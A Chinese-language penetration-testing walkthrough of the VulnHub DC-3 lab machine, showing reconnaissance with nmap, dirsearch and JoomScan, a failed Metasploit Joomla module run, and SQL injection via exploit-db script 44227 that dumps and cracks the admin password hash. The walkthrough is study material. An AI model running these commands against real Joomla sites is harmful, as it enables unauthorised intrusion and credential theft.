VulnHub DC-3 靶机渗透测试中,如何找到并利用特定漏洞进行攻击?
摘要:VulnHub DC-3 靶机渗透测试笔记 靶机信息 靶机名称:DC-3 靶机来源:VulnHub 目标:获取 root 权限,找到最终 flag 难度:⭐⭐⭐☆☆(中等) 涉及技术:信息收集、Joomla 漏洞利用、SQL注入、Websh
VulnHub DC-3 靶机渗透测试笔记
靶机信息
靶机名称:DC-3
靶机来源:VulnHub
目标:获取 root 权限,找到最终 flag
难度:⭐⭐⭐☆☆(中等)
涉及技术:信息收集、Joomla 漏洞利用、SQL注入、Webshell上传、Linux内核提权
一、信息收集
1.1 主机发现
查看本机网段,确认目标网段:
使用 nmap 扫描存活主机:
nmap -sn 192.168.168.0/24
扫描结果:
192.168.168.1 → VM8 网卡
192.168.168.2 → 网关
192.168.168.128 → Kali 本机
192.168.168.129 → 靶机 DC-3
192.168.168.254 → DHCP 服务器
1.2 端口与服务扫描
对目标进行全端口详细扫描:
nmap -A -p- 192.168.168.129
DC-3 只开放了 80 端口,攻击面集中在 Web 应用。
1.3 Web 信息收集
浏览器访问目标网站:
http://192.168.168.129/
使用 Wappalyzer 识别 CMS 类型:
确认为 Joomla CMS,接下来针对 Joomla 进行专项扫描。
1.4 目录扫描
使用 dirsearch 扫描目录,找到后台入口:
dirsearch -u http://192.168.168.129/
发现后台登录页面:
http://192.168.168.129/administrator/
二、漏洞扫描
2.1 使用 JoomScan 识别版本
搜索 Joomla 专用漏洞扫描工具 JoomScan:
安装并使用:
sudo apt install joomscan
joomscan -u 192.168.168.129
确认 Joomla 版本为 3.7.0:
2.2 搜索 Joomla 3.7.0 漏洞
搜索该版本已知漏洞:
确认存在漏洞,在 MSF 中搜索:
search joomla 3.7
三、漏洞利用
3.1 MSF 利用(失败)
尝试使用 MSF 模块直接利用:
use exploit/unix/webapp/joomla_comfields_sqli_rce
show options
set RHOSTS 192.168.168.129
run
报错:
No logged-in Administrator or Super User user found!
Exploit completed, but no session was created.
提示需要管理员权限才能利用,需要先获取后台账号。
3.2 SQL 注入获取管理员密码
使用 searchsploit 找到 SQL 注入利用脚本:
searchsploit joomla 3.7
找到并查看利用脚本:
find / -name 44227.php
cat /usr/share/exploitdb/exploits/php/remote/44227.php
启动 PHP 内置服务器运行该脚本:
php -S 0.0.0.0:8888
# 若报错先安装依赖
apt install php-curl -y
(通过网站访问)
输入目标 IP 执行攻击,获取到数据库信息:
字段
值
Database user
root@localhost
Database name
joomladb
Database version
5.7.25-0ubuntu0.16.0
Username
admin
Email
freddy@norealaddress
Password hash
$2y\(10\)DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
将 hash 去在线工具破解,得到明文密码:
snoopy
如在线工具解不出,也可以用 john 或 hashcat 配合字典爆破。
